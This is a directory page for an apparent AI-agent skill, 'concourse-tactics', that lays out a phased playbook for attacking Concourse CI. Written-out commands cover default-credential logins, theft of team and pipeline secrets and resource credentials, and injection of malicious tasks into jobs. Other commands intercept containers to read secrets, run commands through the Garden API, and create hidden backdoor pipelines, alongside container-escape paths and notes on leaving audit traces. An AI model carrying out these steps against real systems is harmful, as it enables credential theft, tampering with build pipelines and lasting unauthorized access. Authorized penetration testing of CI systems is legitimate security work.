SuperAPI AI Directory

concourse-tactics

Security & auditing

View repository

Updated 10-16 12:11

About this skill

Concourse CI Penetration Testing and Exploitation Methodology

Concourse CI is a container-centric CI/CD system—each Task runs in an isolated container, Pipeline configuration is code, and all credentials are injected through the Credential Manager. Once Fly CLI credentials or an API Token are obtained, an attacker can steal all Secrets in Pipeline variables, tamper with Jobs to inject malicious Tasks, extract Git/S3/Docker Registry credentials from Resource configurations, hijack Build logs and build artifacts, and achieve container escape through the Garden container interface on Worker nodes.

In-Depth Reference

After identifying a specific attack path, load the reference document to obtain the complete commands and exploitation Payloads:

Phase 1: Instance Discovery and Unauthorized Access

1.1 Instance Identification

Concourse's default ports and fingerprints:

Component Default Port Identification Feature
Web UI / ATC API 8080 / 443 /api/v1/info Returns version,/sky/login login page
TSA (Worker registration) 2222 SSH protocol, Banner contains Concourse
Garden (container management) 7777 Only listens locally on Worker
Baggageclaim (volume management) 7788 Only listens locally on Worker
# 指纹探测
curl -s https://TARGET:8080/api/v1/info | jq .
# 返回示例: {"version":"7.x.x","worker_version":"2.x","external_url":"..."}

1.2 Unauthorized API Enumeration

Concourse allows anonymous viewing of main Team's public Pipelines by default:

# 公开 Pipeline 列表
curl -s https://TARGET/api/v1/pipelines | jq '.[].name'

# 公开 Team 列表
curl -s https://TARGET/api/v1/teams | jq '.[].name'

# 公开 Build 列表(可能泄露 Job 名称、Pipeline 结构)
curl -s https://TARGET/api/v1/builds | jq '.[] | {id, pipeline_name, job_name, status}'

1.3 Credential Acquisition

# 默认凭据测试
fly -t target login -c https://TARGET -u admin -p admin
fly -t target login -c https://TARGET -u test -p test

# 使用已获取的 Bearer Token
curl -H "Authorization: Bearer $TOKEN" https://TARGET/api/v1/teams

Phase 2: Pipeline Variable and Secrets Theft

Pipeline variables are the highest-value attack target—they usually contain AWS AK/SK, database passwords, SSH keys, and Docker Registry credentials.

2.1 Enumerate Pipeline Configuration

# 列出所有 Pipeline
fly -t target pipelines -a

# 获取指定 Pipeline 的完整 YAML 配置
fly -t target get-pipeline -p PIPELINE_NAME

# 通过 API 获取(含变量引用)
curl -H "Authorization: Bearer $TOKEN" \
  https://TARGET/api/v1/teams/TEAM/pipelines/PIPELINE_NAME/config

2.2 Team-Level Variable Theft

# 获取 Team 的变量列表
curl -H "Authorization: Bearer $TOKEN" \
  https://TARGET/api/v1/teams/TEAM_NAME/vars

# Pipeline 级别变量
curl -H "Authorization: Bearer $TOKEN" \
  https://TARGET/api/v1/teams/TEAM_NAME/pipelines/PIPELINE_NAME/vars

Common high-value variable names:aws_access_key_id、aws_secret_access_key、private_key、ssh_key、api_token、password、docker_username、docker_password。

2.3 Credential Manager Backend

Concourse supports external Credential Managers (Vault/CredHub/AWS SSM/K8s Secrets). If the backend service can be accessed, all injected Secrets can be read directly:

Backend Path Template Exploitation Method
Vault /concourse/TEAM/PIPELINE/VAR Vault Token leak → direct read
CredHub /concourse/TEAM/PIPELINE/VAR CredHub CLI / API
AWS SSM /concourse/TEAM/PIPELINE/VAR AWS credentials → ssm:GetParameter
K8s Secrets TEAM Secret under namespace kubectl get secret

Phase 3: Resource Credential Extraction and Job Tampering

3.1 Resource Credential Extraction

A Pipeline's Resource definitions directly contain or reference credentials for external systems:

# 提取所有 Resource 的 source 配置
fly -t target get-pipeline -p PIPELINE_NAME | \
  python3 -c "import sys,yaml; d=yaml.safe_load(sys.stdin); [print(r['name'],r['type'],r.get('source',{})) for r in d.get('resources',[])]"

High-value Resource types:

Resource Type Extractable Credentials
git private_key、username/password、access_token
s3 access_key_id、secret_access_key、session_token
docker-image / registry-image username/password、Registry Token
github-release access_token
pool Git repository credentials
cf (Cloud Foundry) username/password、client_id/client_secret

3.2 Job Tampering

If you have set-pipeline permission, you can modify a Job's Plan to inject malicious steps:

# 导出当前配置
fly -t target get-pipeline -p PIPELINE_NAME > pipeline.yml

# 修改 pipeline.yml,在目标 Job 的 plan 中注入恶意 task
# 然后重新设置
fly -t target set-pipeline -p PIPELINE_NAME -c pipeline.yml

# 触发执行
fly -t target trigger-job -j PIPELINE_NAME/JOB_NAME

→ read references/attack-techniques.md to obtain injection templates

Phase 4: Build Log Theft and Task Script Injection

4.1 Build Log Theft

Build logs may leak Secrets (developer echo/env output), internal network addresses, and deployment targets:

# 列出最近的 Build
fly -t target builds -p PIPELINE_NAME

# 实时查看 Build 日志
fly -t target watch -j PIPELINE_NAME/JOB_NAME -b BUILD_NUMBER

# API 批量获取 Build 事件流
curl -H "Authorization: Bearer $TOKEN" \
  https://TARGET/api/v1/builds/BUILD_ID/events

4.2 Task Script Injection

If you can modify the Task files in the Git repository referenced by the Pipeline:

  1. In the repository's .concourse/tasks/ or ci/ directory, modify the Task YAML
  2. Task's run.path / run.args inject commands into
  3. Wait for the Pipeline to trigger automatically or trigger it manually

→ Read references/attack-techniques.md to obtain the injected Task YAML template

4.3 intercept into a running container

# 列出可 intercept 的容器
fly -t target containers

# 进入指定 Build 的 Task 容器(需要 Build 处于运行中或已完成状态)
fly -t target intercept -j PIPELINE_NAME/JOB_NAME -s STEP_NAME

# 在容器内可以:
# - 读取注入的环境变量(Secrets)
# - 访问挂载的 Resource 文件
# - 探测内网

Phase 5: Worker Exploitation and Container Escape

5.1 Worker Information Gathering

# 列出所有 Worker
fly -t target workers

# Worker 详细信息(平台、标签、活跃容器数)
fly -t target workers --details

5.2 Garden Container Management Interface

Garden on the Worker (port 7777) is the container management API. If the Worker network can be accessed:

# 列出容器
curl http://WORKER_IP:7777/containers

# 在容器中执行命令
curl -X POST http://WORKER_IP:7777/containers/HANDLE/processes \
  -d '{"path":"sh","args":["-c","id && cat /proc/1/environ"]}'

5.3 Container Escape Paths

Concourse Tasks run in unprivileged containers by default, but the following conditions can lead to escape:

Escape Condition Check Method Exploitation Method
privileged: true Task In the Pipeline YAML privileged: true Full Linux capabilities → mount the host
Docker Socket Mount ls -la /var/run/docker.sock Docker API → privileged container
Garden API Reachable curl http://127.0.0.1:7777/containers Create a privileged container
Host PID namespace /proc/1/cgroup Check nsenter Enter the host

→ Read references/attack-techniques.md to obtain the escape commands

5.4 Pipeline Backdoor Persistence

Achieve persistence by creating a covert Pipeline:

# 创建后门 Pipeline(使用 time trigger 定时执行)
fly -t target set-pipeline -p HIDDEN_NAME -c backdoor_pipeline.yml

# 暴露 Pipeline(可选,取决于隐蔽性需求)
fly -t target expose-pipeline -p HIDDEN_NAME

# 触发
fly -t target trigger-job -j HIDDEN_NAME/JOB_NAME

→ Read references/attack-techniques.md to obtain the backdoor Pipeline YAML

Decision Tree

发现 Concourse CI 实例
├── 未认证
│   ├── /api/v1/info → 确认版本
│   ├── /api/v1/pipelines → 公开 Pipeline 信息泄露
│   ├── /api/v1/builds → Build 历史泄露
│   ├── 默认凭据 admin/admin → 尝试登录
│   └── 无法登录 → 搜索泄露的 .flyrc / Token
│
├── 已认证(Fly CLI / API Token)
│   ├── fly pipelines -a → 枚举所有 Pipeline
│   │   ├── get-pipeline → 提取 Resource 凭据(Git/S3/Docker)
│   │   └── API /teams/TEAM/vars → 窃取 Team 变量
│   │
│   ├── 有 set-pipeline 权限?
│   │   ├── 是 → Job 篡改注入恶意 Task → Phase 3
│   │   └── 是 → 创建后门 Pipeline → Phase 5
│   │
│   ├── Build 日志 → fly watch → 搜索泄露的 Secrets/内网信息
│   ├── fly intercept → 进入容器 → 读取环境变量/探测内网
│   └── fly workers → Worker 信息 → Garden API 探测
│
└── Worker 网络可达
    ├── Garden 7777 → 容器操作 → 逃逸
    ├── Baggageclaim 7788 → 卷操作
    └── privileged Task → 容器逃逸 → 宿主机控制

Tool Quick Reference

Tool Purpose Key Commands
fly CLI Concourse official command line fly -t T login/pipelines/get-pipeline/intercept/workers
curl + API Direct REST API calls /api/v1/pipelines、/api/v1/teams/T/vars
.flyrc Fly CLI credential file ~/.flyrc contains a Token and can be reused directly
jq / python3 -c yaml Pipeline YAML parsing Extract credentials from the Resource source
Garden API Worker container management http://WORKER:7777/containers

Notes

  • Audit Logs: Concourse ATC records all API calls and Fly CLI operations,set-pipeline、trigger-job、intercept will all leave traces
  • Token Validity Period: Fly CLI Tokens expire after 24 hours by default, so be mindful of refreshing them; API Token depends on the auth provider configuration
  • Team Isolation: Concourse uses Team as the isolation boundary; Pipelines/variables/Workers of different Teams are mutually invisible; but main Team usually has global administrative privileges
  • Credential Manager: If Concourse is configured with Vault/CredHub, the Pipeline variables API may return redacted——you need to directly attack the backend storage
  • Container Ephemerality: Task containers are destroyed after the Build completes; persistence must rely on scheduled Pipeline triggers or a backdoor Resource
  • Worker Isolation: There is no direct communication between Workers, but containers sharing the same Garden instance may have side channels